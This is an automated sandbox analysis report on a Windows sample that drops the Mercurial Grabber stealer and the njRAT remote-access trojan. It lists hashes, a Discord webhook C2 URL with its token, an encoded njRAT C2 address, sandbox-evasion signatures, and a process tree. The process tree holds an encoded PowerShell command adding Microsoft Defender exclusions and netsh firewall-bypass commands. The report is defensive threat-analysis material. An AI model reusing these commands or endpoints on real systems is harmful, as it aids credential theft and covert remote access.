Analysis

  • max time kernel
    150s
  • max time network
    182s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    03-10-2022 23:20

General

  • Target

    4e6984054c17293752f8d11ccac45e70.exe

  • Size

    159KB

  • MD5

    4e6984054c17293752f8d11ccac45e70

  • SHA1

    96b45cc928488f23eb485ebd72f1276996c7f785

  • SHA256

    8d38d3866a011792617c9784fc9dc556f0c8c6aeeeb96aef679aea6ff6831028

  • SHA512

    978e885d724fd91553483a077979f940a9349e45fce08b4a39c5cac25a5a75e0dd27b166b4724be19a435beef780ad8f866787035944285222385623af1ce9a5

  • SSDEEP

    3072:C6x5F6chV9MBOefbGEKr2fewpgsRMCo1pn2A3PM+:CK6u9p3EKbwhRMCkp

Malware Config

Extracted

Family

mercurialgrabber

C2

https://discord.com/api/webhooks/1020039781461270569/vy0h8kS-gC86OffrPKkierhCOJQYdMCGfu4Dr7HRyL4VcCHEP6llcvNaOkPDg-SgwAnl

Extracted

Family

njrat

Version

0.7d

Botnet

HacKed

C2

Ni50Y3AuZXUubmdyb2suaW8Strik:MTM5OTI=

Mutex

dcc8f8f212bdcee4931d8d1d2c481753

Attributes
  • reg_key

    dcc8f8f212bdcee4931d8d1d2c481753

  • splitter

    |'|'|

Signatures

  • Mercurial Grabber Stealer

    Mercurial Grabber is an open source stealer targeting Chrome, Discord and some game clients as well as generic system information.

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Modifies Windows Firewall 1 TTPs 3 IoCs
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 2 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 1 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 5 IoCs
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of WriteProcessMemory 63 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4e6984054c17293752f8d11ccac45e70.exe
    "C:\Users\Admin\AppData\Local\Temp\4e6984054c17293752f8d11ccac45e70.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1004
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAbAB6ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAdQBnACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHgAaQB6ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAbABjACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1632
    • C:\Users\Admin\AppData\Local\Temp\output.exe
      "C:\Users\Admin\AppData\Local\Temp\output.exe"
      2⤵
      • Looks for VirtualBox Guest Additions in registry
      • Executes dropped EXE
      • Looks for VMWare Tools registry key
      • Checks BIOS information in registry
      • Maps connected drives based on registry
      • Checks SCSI registry key(s)
      • Checks processor information in registry
      • Enumerates system info in registry
      • Modifies system certificate store
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1568
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 1568 -s 1856
        3⤵
        • Program crash
        PID:1516
    • C:\Users\Admin\AppData\Local\Temp\Windows Defender.exe
      "C:\Users\Admin\AppData\Local\Temp\Windows Defender.exe"
      2⤵
      • Executes dropped EXE
      • Drops startup file
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:884
      • C:\Windows\SysWOW64\netsh.exe
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\Windows Defender.exe" "Windows Defender.exe" ENABLE
        3⤵
        • Modifies Windows Firewall
        PID:824
      • C:\Windows\SysWOW64\netsh.exe
        netsh firewall delete allowedprogram "C:\Users\Admin\AppData\Local\Temp\Windows Defender.exe"
        3⤵
        • Modifies Windows Firewall
        PID:1752
      • C:\Windows\SysWOW64\netsh.exe
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\Windows Defender.exe" "Windows Defender.exe" ENABLE
        3⤵
        • Modifies Windows Firewall
        PID:1464
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\scam_woofer.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:920
      • C:\Windows\SysWOW64\chcp.com
        chcp 65001
        3⤵
          PID:684
        • C:\Windows\SysWOW64\mode.com
          mode 80,15
          3⤵
            PID:1540
          • C:\Windows\SysWOW64\timeout.exe
            timeout 3
            3⤵
            • Delays execution with timeout.exe
            PID:432
          • C:\Windows\SysWOW64\timeout.exe
            timeout 2
            3⤵
            • Delays execution with timeout.exe
            PID:336
          • C:\Windows\SysWOW64\timeout.exe
            timeout 2
            3⤵
            • Delays execution with timeout.exe
            PID:1076
          • C:\Windows\SysWOW64\timeout.exe
            timeout 3
            3⤵
            • Delays execution with timeout.exe
            PID:1668
          • C:\Windows\SysWOW64\timeout.exe
            timeout 2
            3⤵
            • Delays execution with timeout.exe
            PID:1820
          • C:\Windows\SysWOW64\mode.com
            mode 130,30
            3⤵
              PID:1748

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Persistence

        Modify Existing Service

        1
        T1031

        Defense Evasion

        Virtualization/Sandbox Evasion

        2
        T1497

        Install Root Certificate

        1
        T1130

        Modify Registry

        1
        T1112

        Credential Access

        Credentials in Files

        1
        T1081

        Discovery

        Query Registry

        7
        T1012

        Virtualization/Sandbox Evasion

        2
        T1497

        System Information Discovery

        6
        T1082

        Peripheral Device Discovery

        2
        T1120

        Collection

        Data from Local System

        1
        T1005

        Command and Control

        Web Service

        1
        T1102

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\Windows Defender.exe
          Filesize

          93KB

          MD5

          0c6c4a3d96c78a24d6568b83e141896e

          SHA1

          f5fb76840cb984722f61b370fb6641fa4ad9ac7e

          SHA256

          73870820b2784abba4cc69c26a57743e5a4e306727c7dc2d28e5753fa5fed2d7

          SHA512

          1700a41014d50b79dd896fee0a705c700f3c534860b0ceefebc6413941520aedad7aa85f1f4c11d84c362b46de15e5ca7d9fa4a108fbaa9ca895107dee1d68be

        • C:\Users\Admin\AppData\Local\Temp\Windows Defender.exe
          Filesize

          93KB

          MD5

          0c6c4a3d96c78a24d6568b83e141896e

          SHA1

          f5fb76840cb984722f61b370fb6641fa4ad9ac7e

          SHA256

          73870820b2784abba4cc69c26a57743e5a4e306727c7dc2d28e5753fa5fed2d7

          SHA512

          1700a41014d50b79dd896fee0a705c700f3c534860b0ceefebc6413941520aedad7aa85f1f4c11d84c362b46de15e5ca7d9fa4a108fbaa9ca895107dee1d68be

        • C:\Users\Admin\AppData\Local\Temp\output.exe
          Filesize

          41KB

          MD5

          5f34fc15a6555433e91d8dc0564d2092

          SHA1

          dc786e4ddf9af8de8909da2489d2848dd39f762a

          SHA256

          c35218e577fe12ad1aa6835840f5b762893aeaa7759ea39aef6ef6b15a954e8c

          SHA512

          fb90d8cfddd514cfc196149169c64578c11433ad27d0a0efc7394eae6b7a2f458d9184b84eec730e1a1ae1c5248a6749e6f21cdad42e1387e33ba1a23766b238

        • C:\Users\Admin\AppData\Local\Temp\output.exe
          Filesize

          41KB

          MD5

          5f34fc15a6555433e91d8dc0564d2092

          SHA1

          dc786e4ddf9af8de8909da2489d2848dd39f762a

          SHA256

          c35218e577fe12ad1aa6835840f5b762893aeaa7759ea39aef6ef6b15a954e8c

          SHA512

          fb90d8cfddd514cfc196149169c64578c11433ad27d0a0efc7394eae6b7a2f458d9184b84eec730e1a1ae1c5248a6749e6f21cdad42e1387e33ba1a23766b238

        • C:\Users\Admin\AppData\Local\Temp\scam_woofer.bat
          Filesize

          19KB

          MD5

          4b4e566a986fe97ba2d89f9c64a24c64

          SHA1

          18bba3d5058b4b53fc99f9fba94110f4e8f8c2ea

          SHA256

          2950d0e125c3d1d11be27388ca83ef5d3fbcd71e49c0ed4eb0e0373340707a97

          SHA512

          32e39cbd0ba54cd1bcf25158774a44060d65bdeef9de0986be5267c3da229d8e743afaa67b98492172b7b59cd3fb0cf9e0c5dc149651a3518479ac8af677cee8

        • \Users\Admin\AppData\Local\Temp\Windows Defender.exe
          Filesize

          93KB

          MD5

          0c6c4a3d96c78a24d6568b83e141896e

          SHA1

          f5fb76840cb984722f61b370fb6641fa4ad9ac7e

          SHA256

          73870820b2784abba4cc69c26a57743e5a4e306727c7dc2d28e5753fa5fed2d7

          SHA512

          1700a41014d50b79dd896fee0a705c700f3c534860b0ceefebc6413941520aedad7aa85f1f4c11d84c362b46de15e5ca7d9fa4a108fbaa9ca895107dee1d68be

        • \Users\Admin\AppData\Local\Temp\Windows Defender.exe
          Filesize

          93KB

          MD5

          0c6c4a3d96c78a24d6568b83e141896e

          SHA1

          f5fb76840cb984722f61b370fb6641fa4ad9ac7e

          SHA256

          73870820b2784abba4cc69c26a57743e5a4e306727c7dc2d28e5753fa5fed2d7

          SHA512

          1700a41014d50b79dd896fee0a705c700f3c534860b0ceefebc6413941520aedad7aa85f1f4c11d84c362b46de15e5ca7d9fa4a108fbaa9ca895107dee1d68be

        • \Users\Admin\AppData\Local\Temp\output.exe
          Filesize

          41KB

          MD5

          5f34fc15a6555433e91d8dc0564d2092

          SHA1

          dc786e4ddf9af8de8909da2489d2848dd39f762a

          SHA256

          c35218e577fe12ad1aa6835840f5b762893aeaa7759ea39aef6ef6b15a954e8c

          SHA512

          fb90d8cfddd514cfc196149169c64578c11433ad27d0a0efc7394eae6b7a2f458d9184b84eec730e1a1ae1c5248a6749e6f21cdad42e1387e33ba1a23766b238

        • memory/336-75-0x0000000000000000-mapping.dmp
        • memory/432-72-0x0000000000000000-mapping.dmp
        • memory/684-68-0x0000000000000000-mapping.dmp
        • memory/824-77-0x0000000000000000-mapping.dmp
        • memory/884-63-0x0000000000000000-mapping.dmp
        • memory/884-87-0x0000000073E10000-0x00000000743BB000-memory.dmp
          Filesize

          5.7MB

        • memory/884-73-0x0000000073E10000-0x00000000743BB000-memory.dmp
          Filesize

          5.7MB

        • memory/920-65-0x0000000000000000-mapping.dmp
        • memory/1004-54-0x0000000075211000-0x0000000075213000-memory.dmp
          Filesize

          8KB

        • memory/1076-83-0x0000000000000000-mapping.dmp
        • memory/1464-80-0x0000000000000000-mapping.dmp
        • memory/1516-88-0x0000000000000000-mapping.dmp
        • memory/1540-71-0x0000000000000000-mapping.dmp
        • memory/1568-58-0x0000000000000000-mapping.dmp
        • memory/1568-69-0x00000000001C0000-0x00000000001D0000-memory.dmp
          Filesize

          64KB

        • memory/1632-74-0x0000000073E10000-0x00000000743BB000-memory.dmp
          Filesize

          5.7MB

        • memory/1632-55-0x0000000000000000-mapping.dmp
        • memory/1632-76-0x0000000073E10000-0x00000000743BB000-memory.dmp
          Filesize

          5.7MB

        • memory/1668-84-0x0000000000000000-mapping.dmp
        • memory/1748-86-0x0000000000000000-mapping.dmp
        • memory/1752-79-0x0000000000000000-mapping.dmp
        • memory/1820-85-0x0000000000000000-mapping.dmp